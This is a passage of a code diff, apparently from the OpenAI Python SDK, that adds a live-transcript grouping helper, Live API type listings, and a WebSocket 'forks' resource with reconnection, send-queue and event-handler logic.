+ return updates
+
+ def tick(self) -> list[GroupingUpdate]:
+ updates = self._flush_pending()
+ updates.extend(self._grouping.advance(self._source_now()))
+ return updates
+
+ def delay(self) -> int | None:
+ if self.closed:
+ return None
+ deadline = self._grouping.deadline()
+ if self._pending:
+ delay = self._pending[0].received_at + 50 - self._now()
+ elif deadline is not None:
+ delay = deadline - self._source_now()
+ else:
+ return None
+ return min(MAX_TIMEOUT_MS, max(0, math.ceil(delay)))
+
+ def _source_now(self) -> float:
+ if self._anchor is None:
+ return 0
+ source_ms, received_at = self._anchor
+ return source_ms + max(0, self._now() - received_at)
+
+ def _flush_pending(self) -> list[GroupingUpdate]:
+ pending, self._pending = self._pending, []
+ return self._commit(pending)
+
+ def _commit(self, fragments: list[_ReceivedFragment]) -> list[GroupingUpdate]:
+ if not fragments:
+ return []
+ first = fragments[0].fragment
+ updates: list[GroupingUpdate] = []
+ if self._last_start_ms is not None and first.start_ms < self._last_start_ms:
+ updates.extend(self._grouping.close(self._source_now(), "timestamp_reset"))
+ self._anchor = None
+ self._last_start_ms = first.start_ms
+ self._anchor = (
+ max(self._anchor[0] if self._anchor is not None else 0, *(part.fragment.end_ms for part in fragments)),
+ max(part.received_at for part in fragments),
+ )
+ updates.extend(self._grouping.process([part.fragment for part in fragments]))
+ return updates
diff --git a/src/openai/lib/live/_types.py b/src/openai/lib/live/_types.py
new file mode 100644
index 0000000000..4025d2101d
--- /dev/null
+++ b/src/openai/lib/live/_types.py
@@ -0,0 +1,52 @@
+from __future__ import annotations
+
+from dataclasses import dataclass
+from typing_extensions import Literal
+
+TranscriptSegmentCloseReason = Literal["speaker_change", "inactivity", "timestamp_reset", "session_closed", "manual"]
+
+
+@dataclass(frozen=True)
+class TranscriptSegment:
+ """An immutable display snapshot, not a server conversation item or turn.
+
+ Replace the displayed text on each update. IDs are local to this projection;
+ start/end times describe public transcript intervals, not audio playback.
+ """
+
+ id: str
+ previous_id: str | None
+ speaker: Literal["user", "assistant"]
+ text: str
+ start_ms: int
+ end_ms: int
+
+
+@dataclass(frozen=True)
+class TranscriptSegmentClosedEvent:
+ """The final segment snapshot and the local reason it was closed."""
+
+ segment: TranscriptSegment
+ reason: TranscriptSegmentCloseReason
+
+
+@dataclass(frozen=True)
+class TranscriptGrouperOptions:
+ """Resolved options for the grouping policy; timing thresholds are in milliseconds."""
+
+ min_turn_separation_ms: float = 500
+ assistant_silence_ms: float = 2000
+ backchannel_max_duration_ms: float = 1000
+ backchannel_isolation_ms: float = 2000
+ additional_acknowledgments: tuple[str, ...] = ()
+
+
+@dataclass(frozen=True)
+class TranscriptFragment:
+ speaker: Literal["user", "assistant"]
+ text: str
+ start_ms: int
+ end_ms: int
+
+
+GroupingUpdate = TranscriptSegment | TranscriptSegmentClosedEvent
diff --git a/src/openai/resources/live/__init__.py b/src/openai/resources/live/__init__.py
new file mode 100644
index 0000000000..1c560f6da1
--- /dev/null
+++ b/src/openai/resources/live/__init__.py
@@ -0,0 +1,39 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from .live import (
+ Live,
+ AsyncLive,
+ LiveWithRawResponse,
+ AsyncLiveWithRawResponse,
+ LiveWithStreamingResponse,
+ AsyncLiveWithStreamingResponse,
+)
+from .forks import Forks, AsyncForks
+from .sessions import (
+ Sessions,
+ AsyncSessions,
+ SessionsWithRawResponse,
+ AsyncSessionsWithRawResponse,
+ SessionsWithStreamingResponse,
+ AsyncSessionsWithStreamingResponse,
+)
+from .sideband import Sideband, AsyncSideband
+
+__all__ = [
+ "Sideband",
+ "AsyncSideband",
+ "Forks",
+ "AsyncForks",
+ "Sessions",
+ "AsyncSessions",
+ "SessionsWithRawResponse",
+ "AsyncSessionsWithRawResponse",
+ "SessionsWithStreamingResponse",
+ "AsyncSessionsWithStreamingResponse",
+ "Live",
+ "AsyncLive",
+ "LiveWithRawResponse",
+ "AsyncLiveWithRawResponse",
+ "LiveWithStreamingResponse",
+ "AsyncLiveWithStreamingResponse",
+]
diff --git a/src/openai/resources/live/api.md b/src/openai/resources/live/api.md
new file mode 100644
index 0000000000..6cd5c7e484
--- /dev/null
+++ b/src/openai/resources/live/api.md
@@ -0,0 +1,95 @@
+# Live
+
+Types:
+
+```python
+from openai.types.live import (
+ AudioFormat,
+ BuiltInVoice,
+ ClientConfig,
+ ClientDelegation,
+ ClientEvent,
+ CommentaryAppendEvent,
+ CommentaryAppendedEvent,
+ CustomVoice,
+ DataChannelConfig,
+ DelegationCreatedEvent,
+ Error,
+ ErrorEvent,
+ ForkSessionConfig,
+ ForkSessionStartEvent,
+ FunctionTool,
+ InfoEvent,
+ InitialItem,
+ InputAudioAppendEvent,
+ InputAudioMuteEvent,
+ InputAudioMutedEvent,
+ InputAudioUnmuteEvent,
+ InputAudioUnmutedEvent,
+ InputTranscriptDeltaEvent,
+ InstructionsAppendEvent,
+ InstructionsAppendedEvent,
+ MediaSessionConfig,
+ MediaSessionForkConfig,
+ OutputAudioDeltaEvent,
+ OutputTranscriptDeltaEvent,
+ ResponseCreateEvent,
+ ResponseEvent,
+ ResponseItemCreateEvent,
+ ResponsesDelegationConfig,
+ ResponsesDelegationUpdateConfig,
+ ServerEvent,
+ ServerEventSelector,
+ SessionCloseEvent,
+ SessionClosedEvent,
+ SessionConfig,
+ SessionResource,
+ SessionStartEvent,
+ SessionStartedEvent,
+ SessionUpdateConfig,
+ SessionUpdateEvent,
+ SessionUpdatedEvent,
+ SessionUsage,
+ SessionUsageUpdatedEvent,
+ ThinkingAppendEvent,
+ ThinkingAppendedEvent,
+ LiveCreateResponse,
+)
+```
+
+Methods:
+
+- client.live.create(\*\*params) -> LiveCreateResponse
+
+## Sideband
+
+Types:
+
+```python
+from openai.types.live import ConnectClientEvent, ConnectServerEvent
+```
+
+## Forks
+
+Types:
+
+```python
+from openai.types.live import ForkClientEvent, ForkServerEvent
+```
+
+## Sessions
+
+Types:
+
+```python
+from openai.types.live import SessionForkResponse
+```
+
+Methods:
+
+- client.live.sessions.accept(session_id, \*\*params) -> None
+- client.live.sessions.download_recording(session_id) -> HttpxBinaryResponseContent
+- client.live.sessions.fork(session_id, \*\*params) -> SessionForkResponse
+- client.live.sessions.hangup(session_id) -> None
+- client.live.sessions.refer(session_id, \*\*params) -> None
+- client.live.sessions.reject(session_id, \*\*params) -> None
diff --git a/src/openai/resources/live/forks.py b/src/openai/resources/live/forks.py
new file mode 100644
index 0000000000..2c41817763
--- /dev/null
+++ b/src/openai/resources/live/forks.py
@@ -0,0 +1,1423 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+import json
+import time
+import random
+import logging
+from types import TracebackType
+from typing import TYPE_CHECKING, Any, Union, Callable, Iterator, Optional, Awaitable, cast
+from typing_extensions import AsyncIterator
+
+import httpx2
+from pydantic import BaseModel
+
+from ..._types import Omit, Query, Headers, omit
+from ..._utils import path_template, maybe_transform, strip_not_given, async_maybe_transform
+from ..._compat import cached_property
+from ..._models import construct_type_unchecked
+from ..._resource import SyncAPIResource, AsyncAPIResource
+from ..._exceptions import OpenAIError, WebSocketConnectionClosedError
+from ..._send_queue import SendQueue
+from ..._base_client import _merge_mappings
+from ..._event_handler import EventHandlerRegistry
+from ...types.live.error_event import ErrorEvent
+from ...types.live.fork_client_event import ForkClientEvent
+from ...types.live.fork_server_event import ForkServerEvent
+from ...types.websocket_reconnection import ReconnectingEvent, ReconnectingOverrides, is_recoverable_close
+from ...types.live.fork_client_event_param import ForkClientEventParam
+from ...types.websocket_connection_options import WebSocketConnectionOptions
+from ...types.live.fork_session_config_param import ForkSessionConfigParam
+from ...types.live.session_update_config_param import SessionUpdateConfigParam
+from ...types.responses.response_input_item_param import ResponseInputItemParam
+
+if TYPE_CHECKING:
+ from websockets.sync.client import ClientConnection as WebSocketConnection
+ from websockets.asyncio.client import ClientConnection as AsyncWebSocketConnection
+
+ from ..._client import OpenAI, AsyncOpenAI
+
+__all__ = ["Forks", "AsyncForks"]
+
+log: logging.Logger = logging.getLogger(__name__)
+
+
+class Forks(SyncAPIResource):
+ def connect(
+ self,
+ *,
+ session_id: str,
+ extra_query: Query = {},
+ extra_headers: Headers = {},
+ websocket_connection_options: WebSocketConnectionOptions = {},
+ on_reconnecting: Callable[[ReconnectingEvent], ReconnectingOverrides | None] | None = None,
+ max_retries: int = 5,
+ initial_delay: float = 0.5,
+ max_delay: float = 8.0,
+ max_queue_size: int = 1_048_576,
+ ) -> ForksConnectionManager:
+ """Fork a stored Live session over WebSocket.
+
+ Send session.start with an overrides object (which may be empty), then wait for session.started. The model is inherited.
+ """
+ return ForksConnectionManager(
+ client=self._client,
+ extra_query=extra_query,
+ extra_headers=extra_headers,
+ websocket_connection_options=websocket_connection_options,
+ on_reconnecting=on_reconnecting,
+ max_retries=max_retries,
+ initial_delay=initial_delay,
+ max_delay=max_delay,
+ max_queue_size=max_queue_size,
+ session_id=session_id,
+ )
+
+
+class AsyncForks(AsyncAPIResource):
+ def connect(
+ self,
+ *,
+ session_id: str,
+ extra_query: Query = {},
+ extra_headers: Headers = {},
+ websocket_connection_options: WebSocketConnectionOptions = {},
+ on_reconnecting: Callable[[ReconnectingEvent], ReconnectingOverrides | None] | None = None,
+ max_retries: int = 5,
+ initial_delay: float = 0.5,
+ max_delay: float = 8.0,
+ max_queue_size: int = 1_048_576,
+ ) -> AsyncForksConnectionManager:
+ """Fork a stored Live session over WebSocket.
+
+ Send session.start with an overrides object (which may be empty), then wait for session.started. The model is inherited.
+ """
+ return AsyncForksConnectionManager(
+ client=self._client,
+ extra_query=extra_query,
+ extra_headers=extra_headers,
+ websocket_connection_options=websocket_connection_options,
+ on_reconnecting=on_reconnecting,
+ max_retries=max_retries,
+ initial_delay=initial_delay,
+ max_delay=max_delay,
+ max_queue_size=max_queue_size,
+ session_id=session_id,
+ )
+
+
+class AsyncForksConnection:
+ """Represents a live WebSocket connection to the Forks API"""
+
+ session: AsyncForksSessionResource
+ response: AsyncForksResponseResource
+
+ _connection: AsyncWebSocketConnection
+
+ def __init__(
+ self,
+ connection: AsyncWebSocketConnection,
+ *,
+ make_ws: Callable[[Query, Headers], Awaitable[AsyncWebSocketConnection]] | None = None,
+ on_reconnecting: Callable[[ReconnectingEvent], ReconnectingOverrides | None] | None = None,
+ max_retries: int = 5,
+ initial_delay: float = 0.5,
+ max_delay: float = 8.0,
+ extra_query: Query = {},
+ extra_headers: Headers = {},
+ send_queue: SendQueue | None = None,
+ ) -> None:
+ self._connection = connection
+ self._make_ws = make_ws
+ self._on_reconnecting = on_reconnecting
+ self._max_retries = max_retries
+ self._reconnect_attempt = 0
+ self._initial_delay = initial_delay
+ self._max_delay = max_delay
+ self._extra_query = extra_query
+ self._extra_headers = extra_headers
+ self._intentionally_closed = False
+ self._is_reconnecting = False
+ self._send_queue = send_queue or SendQueue()
+ self._event_handler_registry = EventHandlerRegistry(use_lock=False)
+
+ self.session = AsyncForksSessionResource(self)
+ self.response = AsyncForksResponseResource(self)
+
+ async def __aiter__(self) -> AsyncIterator[ForkServerEvent]:
+ """
+ An infinite-iterator that will continue to yield events until
+ the connection is closed.
+ """
+ from websockets.exceptions import ConnectionClosedOK, ConnectionClosedError
+
+ while True:
+ try:
+ yield await self.recv()
+ except ConnectionClosedOK:
+ return
+ except ConnectionClosedError as exc:
+ if not await self._reconnect(exc):
+ unsent = self._send_queue.drain()
+ if unsent:
+ raise WebSocketConnectionClosedError(
+ "WebSocket connection closed with unsent messages",
+ unsent_messages=unsent,
+ ) from exc
+ raise
+
+ async def recv(self) -> ForkServerEvent:
+ """
+ Receive the next message from the connection and parses it into a `ForkServerEvent` object.
+
+ Canceling this method is safe. There's no risk of losing data.
+ """
+ event = self.parse_event(await self.recv_bytes())
+ event_type = (
+ cast("dict[str, object]", event).get("type")
+ if isinstance(cast(object, event), dict)
+ else getattr(event, "type", None)
+ )
+ # A successful upgrade can still be followed by an admission error.
+ # Reset the budget only after receiving a non-error application event.
+ if isinstance(event_type, str) and event_type and event_type != "error":
+ self._reconnect_attempt = 0
+ return event
+
+ async def recv_bytes(self) -> bytes:
+ """Receive the next message from the connection as raw bytes.
+
+ Canceling this method is safe. There's no risk of losing data.
+
+ If you want to parse the message into a `ForkServerEvent` object like `.recv()` does,
+ then you can call `.parse_event(data)`.
+ """
+ message = await self._connection.recv(decode=False)
+ log.debug(f"Received WebSocket message: %s", message)
+ if self._reconnect_attempt:
+ # Account for raw application progress without changing frame delivery.
+ try:
+ event_data: object = json.loads(message)
+ except (ValueError, RecursionError):
+ return message
+ event_type = cast("dict[str, object]", event_data).get("type") if isinstance(event_data, dict) else None
+ if isinstance(event_type, str) and event_type and event_type != "error":
+ self._reconnect_attempt = 0
+ return message
+
+ async def send(self, event: ForkClientEvent | ForkClientEventParam) -> None:
+ data = (
+ event.to_json(use_api_names=True, exclude_defaults=True, exclude_unset=True)
+ if isinstance(event, BaseModel)
+ else json.dumps(await async_maybe_transform(event, ForkClientEventParam))
+ )
+ if self._is_reconnecting:
+ self._send_queue.enqueue(data)
+ return
+ try:
+ await self._connection.send(data)
+ except Exception:
+ self._send_queue.enqueue(data)
+ raise
+
+ async def send_raw(self, data: bytes | str) -> None:
+ if self._is_reconnecting:
+ raw = data if isinstance(data, str) else data.decode("utf-8")
+ self._send_queue.enqueue(raw)
+ return
+ await self._connection.send(data)
+
+ async def close(self, *, code: int = 1000, reason: str = "") -> None:
+ self._intentionally_closed = True
+ await self._connection.close(code=code, reason=reason)
+
+ def parse_event(self, data: str | bytes) -> ForkServerEvent:
+ """
+ Converts a raw `str` or `bytes` message into a `ForkServerEvent` object.
+
+ This is helpful if you're using `.recv_bytes()`.
+ """
+ return cast(ForkServerEvent, construct_type_unchecked(value=json.loads(data), type_=cast(Any, ForkServerEvent)))
+
+ async def _reconnect(self, exc: Exception) -> bool:
+ """Attempt to reconnect after a connection failure.
+
+ Returns ``True`` if a new connection was established, ``False`` if the
+ caller should re-raise the original exception.
+ """
+ import asyncio
+
+ if self._on_reconnecting is None or self._make_ws is None:
+ return False
+
+ from websockets.exceptions import ConnectionClosedError
+
+ close_code = 1006
+ if isinstance(exc, ConnectionClosedError) and exc.rcvd is not None:
+ close_code = exc.rcvd.code
+
+ if not is_recoverable_close(close_code):
+ return False
+
+ self._is_reconnecting = True
+
+ for attempt in range(self._reconnect_attempt + 1, self._max_retries + 1):
+ self._reconnect_attempt = attempt
+ base_delay = min(self._initial_delay * (2 ** (attempt - 1)), self._max_delay)
+ jitter = 0.75 + random.random() * 0.25
+ delay = base_delay * jitter
+
+ event = ReconnectingEvent(
+ attempt=attempt,
+ max_attempts=self._max_retries,
+ delay=delay,
+ close_code=close_code,
+ extra_query=self._extra_query,
+ extra_headers=self._extra_headers,
+ )
+
+ try:
+ result = self._on_reconnecting(event)
+ except Exception:
+ self._is_reconnecting = False
+ return False
+
+ if result is not None and result.get("abort"):
+ self._is_reconnecting = False
+ return False
+
+ if result is not None:
+ if "extra_query" in result:
+ self._extra_query = result["extra_query"]
+ if "extra_headers" in result:
+ self._extra_headers = result["extra_headers"]
+
+ log.info(
+ "Reconnecting to WebSocket API (attempt %d/%d) after %.1fs delay",
+ attempt,
+ self._max_retries,
+ delay,
+ )
+ await asyncio.sleep(delay)
+
+ if self._intentionally_closed:
+ self._is_reconnecting = False
+ return False
+
+ try:
+ self._connection = await self._make_ws(self._extra_query, self._extra_headers)
+ log.info("Reconnected to WebSocket API")
+ self._is_reconnecting = False
+ await self._flush_send_queue()
+ return True
+ except Exception:
+ pass
+
+ self._is_reconnecting = False
+ return False
+
+ async def _flush_send_queue(self) -> None:
+ """Send all queued messages over the current connection."""
+
+ async def _send(data: str) -> None:
+ await self._connection.send(data)
+
+ try:
+ await self._send_queue.flush_async(_send)
+ except Exception:
+ log.warning("Failed to flush send queue after reconnect", exc_info=True)
+
+ def on(
+ self, event_type: str, handler: Callable[..., Any] | None = None
+ ) -> Union[AsyncForksConnection, Callable[[Callable[..., Any]], Callable[..., Any]]]:
+ """Adds the handler to the end of the handlers list for the given event type.
+
+ No checks are made to see if the handler has already been added. Multiple calls
+ passing the same combination of event type and handler will result in the handler
+ being added, and called, multiple times.
+
+ Can be used as a method (returns ``self`` for chaining)::
+
+ connection.on("session.started", my_handler)
+
+ Or as a decorator::
+
+ @connection.on("session.started")
+ async def my_handler(event): ...
+ """
+ if handler is not None:
+ self._event_handler_registry.add(event_type, handler)
+ return self
+
+ def decorator(fn: Callable[..., Any]) -> Callable[..., Any]:
+ self._event_handler_registry.add(event_type, fn)
+ return fn
+
+ return decorator
+
+ def off(self, event_type: str, handler: Callable[..., Any]) -> AsyncForksConnection:
+ """Remove a previously registered event handler."""
+ self._event_handler_registry.remove(event_type, handler)
+ return self
+
+ def once(
+ self, event_type: str, handler: Callable[..., Any] | None = None
+ ) -> Union[AsyncForksConnection, Callable[[Callable[..., Any]], Callable[..., Any]]]:
+ """Register a one-time event handler.
+
+ Automatically removed after first invocation.
+ """
+ if handler is not None:
+ self._event_handler_registry.add(event_type, handler, once=True)
+ return self
+
+ def decorator(fn: Callable[..., Any]) -> Callable[..., Any]:
+ self._event_handler_registry.add(event_type, fn, once=True)
+ return fn
+
+ return decorator
+
+ async def dispatch_events(self) -> None:
+ """Run the event loop, dispatching received events to registered handlers.
+
+ Blocks until the connection is closed. This is the push-based
+ alternative to iterating with ``async for event in connection``.
+
+ If an ``"error"`` event arrives and no handler is registered for
+ ``"error"`` or ``"event"``, an ``OpenAIError`` is raised.
+ """
+ import asyncio
+
+ async for event in self:
+ event_type = event.type
+ specific = self._event_handler_registry.get_handlers(event_type)
+ generic = self._event_handler_registry.get_handlers("event")
+
+ if event_type == "error" and not specific and not generic:
+ if isinstance(event, ErrorEvent):
+ raise OpenAIError(f"WebSocket error: {event}")
+
+ for handler in specific:
+ result = handler(event)
+ if asyncio.iscoroutine(result):
+ await result
+
+ for handler in generic:
+ result = handler(event)
+ if asyncio.iscoroutine(result):
+ await result
+
+
+class AsyncForksConnectionManager:
+ """
+ Context manager over a `AsyncForksConnection` that is returned by `live.forks.connect()`
+
+ This context manager ensures that the connection will be closed when it exits.
+
+ ---
+
+ Note that if your application doesn't work well with the context manager approach then you
+ can call the `.enter()` method directly to initiate a connection.
+
+ **Warning**: You must remember to close the connection with `.close()`.
+
+ ```py
+ connection = await client.live.forks.connect(...).enter()
+ # ...
+ await connection.close()
+ ```
+ """
+
+ def __init__(
+ self,
+ *,
+ client: AsyncOpenAI,
+ session_id: str,
+ extra_query: Query,
+ extra_headers: Headers,
+ websocket_connection_options: WebSocketConnectionOptions,
+ on_reconnecting: Callable[[ReconnectingEvent], ReconnectingOverrides | None] | None = None,
+ max_retries: int = 5,
+ initial_delay: float = 0.5,
+ max_delay: float = 8.0,
+ max_queue_size: int = 1_048_576,
+ ) -> None:
+ self.__client = client
+ self.__session_id = session_id
+ self.__connection: AsyncForksConnection | None = None
+ self.__extra_query = extra_query
+ self.__extra_headers = extra_headers
+ self.__websocket_connection_options = websocket_connection_options
+ self.__on_reconnecting = on_reconnecting
+ self.__max_retries = max_retries
+ self.__initial_delay = initial_delay
+ self.__max_delay = max_delay
+ self.__send_queue = SendQueue(max_bytes=max_queue_size)
+ self.__event_handler_registry = EventHandlerRegistry(use_lock=False)
+
+ def send(self, event: ForkClientEvent | ForkClientEventParam) -> None:
+ """Queue a message to be sent when the connection is established.
+
+ This can be called before entering the context manager. Queued messages
+ are automatically sent once the WebSocket connection opens.
+ """
+ data = (
+ event.to_json(use_api_names=True, exclude_defaults=True, exclude_unset=True)
+ if isinstance(event, BaseModel)
+ else json.dumps(event)
+ )
+ self.__send_queue.enqueue(data)
+
+ def on(
+ self, event_type: str, handler: Callable[..., Any] | None = None
+ ) -> Union[AsyncForksConnectionManager, Callable[[Callable[..., Any]], Callable[..., Any]]]:
+ """Register an event handler before the connection is established.
+
+ Handlers are transferred to the connection on enter. Supports the
+ same method and decorator forms as ``AsyncForksConnection.on``.
+ """
+ if handler is not None:
+ self.__event_handler_registry.add(event_type, handler)
+ return self
+
+ def decorator(fn: Callable[..., Any]) -> Callable[..., Any]:
+ self.__event_handler_registry.add(event_type, fn)
+ return fn
+
+ return decorator
+
+ def off(self, event_type: str, handler: Callable[..., Any]) -> AsyncForksConnectionManager:
+ """Remove a previously registered event handler."""
+ self.__event_handler_registry.remove(event_type, handler)
+ return self
+
+ def once(
+ self, event_type: str, handler: Callable[..., Any] | None = None
+ ) -> Union[AsyncForksConnectionManager, Callable[[Callable[..., Any]], Callable[..., Any]]]:
+ """Register a one-time event handler before the connection is established."""
+ if handler is not None:
+ self.__event_handler_registry.add(event_type, handler, once=True)
+ return self
+
+ def decorator(fn: Callable[..., Any]) -> Callable[..., Any]:
+ self.__event_handler_registry.add(event_type, fn, once=True)
+ return fn
+
+ return decorator
+
+ async def __aenter__(self) -> AsyncForksConnection:
+ """
+ If your application doesn't work well with the context manager approach then you
+ can call this method directly to initiate a connection.
+
+ **Warning**: You must remember to close the connection with `.close()`.
+
+ ```py
+ connection = await client.live.forks.connect(...).enter()
+ # ...
+ await connection.close()
+ ```
+ """
+ ws = await self._connect_ws(self.__extra_query, self.__extra_headers)
+
+ self.__connection = AsyncForksConnection(
+ ws,
+ make_ws=self._connect_ws if self.__on_reconnecting is not None else None,
+ on_reconnecting=self.__on_reconnecting,
+ max_retries=self.__max_retries,
+ initial_delay=self.__initial_delay,
+ max_delay=self.__max_delay,
+ extra_query=self.__extra_query,
+ extra_headers=self.__extra_headers,
+ send_queue=self.__send_queue,
+ )
+
+ self.__event_handler_registry.merge_into(self.__connection._event_handler_registry)
+ await self.__connection._flush_send_queue()
+
+ return self.__connection
+
+ enter = __aenter__
+
+ async def _connect_ws(self, extra_query: Query, extra_headers: Headers) -> AsyncWebSocketConnection:
+ try:
+ from ...lib._websocket import _WebSocketConnect as connect
+ except ImportError as exc:
+ raise OpenAIError("You need to install `openai[realtime]` to use this method") from exc
+
+ url = self._prepare_url().copy_with(
+ params={
+ **self.__client.base_url.params,
+ **extra_query,
+ },
+ )
+ log.debug("Connecting to %s", url)
+ if self.__websocket_connection_options:
+ log.debug("Connection options: %s", self.__websocket_connection_options)
+
+ return await connect(
+ str(url),
+ user_agent_header=self.__client.user_agent,
+ additional_headers=_merge_mappings(
+ {
+ **self.__client.auth_headers,
+ },
+ extra_headers,
+ ),
+ **self.__websocket_connection_options,
+ )
+
+ def _prepare_url(self) -> httpx2.URL:
+ if self.__client.websocket_base_url is not None:
+ base_url = httpx2.URL(self.__client.websocket_base_url)
+ else:
+ scheme = self.__client._base_url.scheme
+ ws_scheme = "ws" if scheme == "http" else "wss"
+ base_url = self.__client._base_url.copy_with(scheme=ws_scheme)
+
+ merge_raw_path = base_url.raw_path.rstrip(b"/") + path_template(
+ "/live/sessions/{session_id}/fork", session_id=self.__session_id
+ ).encode("utf-8")
+ return base_url.copy_with(raw_path=merge_raw_path)
+
+ async def __aexit__(
+ self, exc_type: type[BaseException] | None, exc: BaseException | None, exc_tb: TracebackType | None
+ ) -> None:
+ if self.__connection is not None:
+ await self.__connection.close()
+
+
+class ForksConnection:
+ """Represents a live WebSocket connection to the Forks API"""
+
+ session: ForksSessionResource
+ response: ForksResponseResource
+
+ _connection: WebSocketConnection
+
+ def __init__(
+ self,
+ connection: WebSocketConnection,
+ *,
+ make_ws: Callable[[Query, Headers], WebSocketConnection] | None = None,
+ on_reconnecting: Callable[[ReconnectingEvent], ReconnectingOverrides | None] | None = None,
+ max_retries: int = 5,
+ initial_delay: float = 0.5,
+ max_delay: float = 8.0,
+ extra_query: Query = {},
+ extra_headers: Headers = {},
+ send_queue: SendQueue | None = None,
+ ) -> None:
+ self._connection = connection
+ self._make_ws = make_ws
+ self._on_reconnecting = on_reconnecting
+ self._max_retries = max_retries
+ self._reconnect_attempt = 0
+ self._initial_delay = initial_delay
+ self._max_delay = max_delay
+ self._extra_query = extra_query
+ self._extra_headers = extra_headers
+ self._intentionally_closed = False
+ self._is_reconnecting = False
+ self._send_queue = send_queue or SendQueue()
+ self._event_handler_registry = EventHandlerRegistry(use_lock=True)
+
+ self.session = ForksSessionResource(self)
+ self.response = ForksResponseResource(self)
+
+ def __iter__(self) -> Iterator[ForkServerEvent]:
+ """
+ An infinite-iterator that will continue to yield events until
+ the connection is closed.
+ """
+ from websockets.exceptions import ConnectionClosedOK, ConnectionClosedError
+
+ while True:
+ try:
+ yield self.recv()
+ except ConnectionClosedOK:
+ return
+ except ConnectionClosedError as exc:
+ if not self._reconnect(exc):
+ unsent = self._send_queue.drain()
+ if unsent:
+ raise WebSocketConnectionClosedError(
+ "WebSocket connection closed with unsent messages",
+ unsent_messages=unsent,
+ ) from exc
+ raise
+
+ def recv(self) -> ForkServerEvent:
+ """
+ Receive the next message from the connection and parses it into a `ForkServerEvent` object.
+
+ Canceling this method is safe. There's no risk of losing data.
+ """
+ event = self.parse_event(self.recv_bytes())
+ event_type = (
+ cast("dict[str, object]", event).get("type")
+ if isinstance(cast(object, event), dict)
+ else getattr(event, "type", None)
+ )
+ # A successful upgrade can still be followed by an admission error.
+ # Reset the budget only after receiving a non-error application event.
+ if isinstance(event_type, str) and event_type and event_type != "error":
+ self._reconnect_attempt = 0
+ return event
+
+ def recv_bytes(self) -> bytes:
+ """Receive the next message from the connection as raw bytes.
+
+ Canceling this method is safe. There's no risk of losing data.
+
+ If you want to parse the message into a `ForkServerEvent` object like `.recv()` does,
+ then you can call `.parse_event(data)`.
+ """
+ message = self._connection.recv(decode=False)
+ log.debug(f"Received WebSocket message: %s", message)
+ if self._reconnect_attempt:
+ # Account for raw application progress without changing frame delivery.
+ try:
+ event_data: object = json.loads(message)
+ except (ValueError, RecursionError):
+ return message
+ event_type = cast("dict[str, object]", event_data).get("type") if isinstance(event_data, dict) else None
+ if isinstance(event_type, str) and event_type and event_type != "error":
+ self._reconnect_attempt = 0
+ return message
+
+ def send(self, event: ForkClientEvent | ForkClientEventParam) -> None:
+ data = (
+ event.to_json(use_api_names=True, exclude_defaults=True, exclude_unset=True)
+ if isinstance(event, BaseModel)
+ else json.dumps(maybe_transform(event, ForkClientEventParam))
+ )
+ if self._is_reconnecting:
+ self._send_queue.enqueue(data)
+ return
+ try:
+ self._connection.send(data)
+ except Exception:
+ self._send_queue.enqueue(data)
+ raise
+
+ def send_raw(self, data: bytes | str) -> None:
+ if self._is_reconnecting:
+ raw = data if isinstance(data, str) else data.decode("utf-8")
+ self._send_queue.enqueue(raw)
+ return
+ self._connection.send(data)
+
+ def close(self, *, code: int = 1000, reason: str = "") -> None:
+ self._intentionally_closed = True
+ self._connection.close(code=code, reason=reason)
+
+ def parse_event(self, data: str | bytes) -> ForkServerEvent:
+ """
+ Converts a raw `str` or `bytes` message into a `ForkServerEvent` object.
+
+ This is helpful if you're using `.recv_bytes()`.
+ """
+ return cast(ForkServerEvent, construct_type_unchecked(value=json.loads(data), type_=cast(Any, ForkServerEvent)))
+
+ def _reconnect(self, exc: Exception) -> bool:
+ """Attempt to reconnect after a connection failure.
+
+ Returns ``True`` if a new connection was established, ``False`` if the
+ caller should re-raise the original exception.
+ """
+ if self._on_reconnecting is None or self._make_ws is None:
+ return False
+
+ from websockets.exceptions import ConnectionClosedError
+
+ close_code = 1006
+ if isinstance(exc, ConnectionClosedError) and exc.rcvd is not None:
+ close_code = exc.rcvd.code
+
+ if not is_recoverable_close(close_code):
+ return False
+
+ self._is_reconnecting = True
+
+ for attempt in range(self._reconnect_attempt + 1, self._max_retries + 1):
+ self._reconnect_attempt = attempt
+ base_delay = min(self._initial_delay * (2 ** (attempt - 1)), self._max_delay)
+ jitter = 0.75 + random.random() * 0.25
+ delay = base_delay * jitter
+
+ event = ReconnectingEvent(
+ attempt=attempt,
+ max_attempts=self._max_retries,
+ delay=delay,
+ close_code=close_code,
+ extra_query=self._extra_query,
+ extra_headers=self._extra_headers,
+ )
+
+ try:
+ result = self._on_reconnecting(event)
+ except Exception:
+ self._is_reconnecting = False
+ return False
+
+ if result is not None and result.get("abort"):
+ self._is_reconnecting = False
+ return False
+
+ if result is not None:
+ if "extra_query" in result:
+ self._extra_query = result["extra_query"]
+ if "extra_headers" in result:
+ self._extra_headers = result["extra_headers"]
+
+ log.info(
+ "Reconnecting to WebSocket API (attempt %d/%d) after %.1fs delay",
+ attempt,
+ self._max_retries,
+ delay,
+ )
+ time.sleep(delay)
+
+ if self._intentionally_closed:
+ self._is_reconnecting = False
+ return False
+
+ try:
+ self._connection = self._make_ws(self._extra_query, self._extra_headers)
+ log.info("Reconnected to WebSocket API")
+ self._is_reconnecting = False
+ self._flush_send_queue()
+ return True
+ except Exception:
+ pass
+
+ self._is_reconnecting = False
+ return False
+
+ def _flush_send_queue(self) -> None:
+ """Send all queued messages over the current connection."""
+ try:
+ self._send_queue.flush_sync(lambda data: self._connection.send(data))
+ except Exception:
+ log.warning("Failed to flush send queue after reconnect", exc_info=True)
+
+ def on(
+ self, event_type: str, handler: Callable[..., Any] | None = None
+ ) -> Union[ForksConnection, Callable[[Callable[..., Any]], Callable[..., Any]]]:
+ """Adds the handler to the end of the handlers list for the given event type.
+
+ No checks are made to see if the handler has already been added. Multiple calls
+ passing the same combination of event type and handler will result in the handler
+ being added, and called, multiple times.
+
+ Can be used as a method (returns ``self`` for chaining)::
+
+ connection.on("session.started", my_handler)
+
+ Or as a decorator::
+
+ @connection.on("session.started")
+ def my_handler(event): ...
+ """
+ if handler is not None:
+ self._event_handler_registry.add(event_type, handler)
+ return self
+
+ def decorator(fn: Callable[..., Any]) -> Callable[..., Any]:
+ self._event_handler_registry.add(event_type, fn)
+ return fn
+
+ return decorator
+
